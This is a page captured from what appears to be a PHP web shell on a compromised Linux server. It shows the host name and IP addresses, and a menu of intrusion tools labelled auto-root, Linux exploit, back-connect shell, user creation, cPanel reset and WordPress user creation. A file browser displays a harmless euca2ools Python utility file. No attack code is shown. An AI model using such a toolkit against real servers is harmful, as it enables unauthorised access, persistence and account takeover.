Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.12.163.23
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
euca2ools /
bundle /
[ HOME SHELL ]
Name
Size
Permission
Action
pipes
[ DIR ]
drwxr-xr-x
__init__.py
1.74
KB
-rw-r--r--
__init__.pyc
959
B
-rw-r--r--
__init__.pyo
959
B
-rw-r--r--
manifest.py
13.28
KB
-rw-r--r--
manifest.pyc
8.56
KB
-rw-r--r--
manifest.pyo
8.29
KB
-rw-r--r--
util.py
3.17
KB
-rw-r--r--
util.pyc
2.49
KB
-rw-r--r--
util.pyo
2.49
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : util.py
# Copyright 2013-2014 Eucalyptus Systems, Inc. # # Redistribution and use of this software in source and binary forms, # with or without modification, are permitted provided that the following # conditions are met: # # Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import os import subprocess import threading def close_all_fds(except_fds=None): except_filenos = [1, 2] if except_fds is not None: for except_fd in except_fds: if except_fd is None: pass elif isinstance(except_fd, int): except_filenos.append(except_fd) elif hasattr(except_fd, 'fileno'): except_filenos.append(except_fd.fileno()) else: raise ValueError('{0} must be an int or have a fileno method' .format(repr(except_fd))) fileno_ranges = [] next_range_min = 0 for except_fileno in sorted(except_filenos): if except_fileno > next_range_min: fileno_ranges.append((next_range_min, except_fileno)) next_range_min = max(next_range_min, except_fileno + 1) fileno_ranges.append((next_range_min, 1024)) for fileno_range in fileno_ranges: os.closerange(fileno_range[0], fileno_range[1]) def get_cert_fingerprint(cert_filename): openssl = subprocess.Popen(('openssl', 'x509', '-in', cert_filename, '-fingerprint', '-sha1', '-noout'), stdout=subprocess.PIPE) (fingerprint, _) = openssl.communicate() return fingerprint.strip().rsplit('=', 1)[-1].replace(':', '').lower() def open_pipe_fileobjs(): pipe_r, pipe_w = os.pipe() return os.fdopen(pipe_r), os.fdopen(pipe_w, 'w') def waitpid_in_thread(pid): """ Start a thread that calls os.waitpid on a particular PID to prevent zombie processes from hanging around after they have finished. """ pid_thread = threading.Thread(target=_wait_for_pid, args=(pid,)) pid_thread.daemon = True pid_thread.start() def _wait_for_pid(pid): if pid: try: os.waitpid(pid, 0) except OSError: pass
Close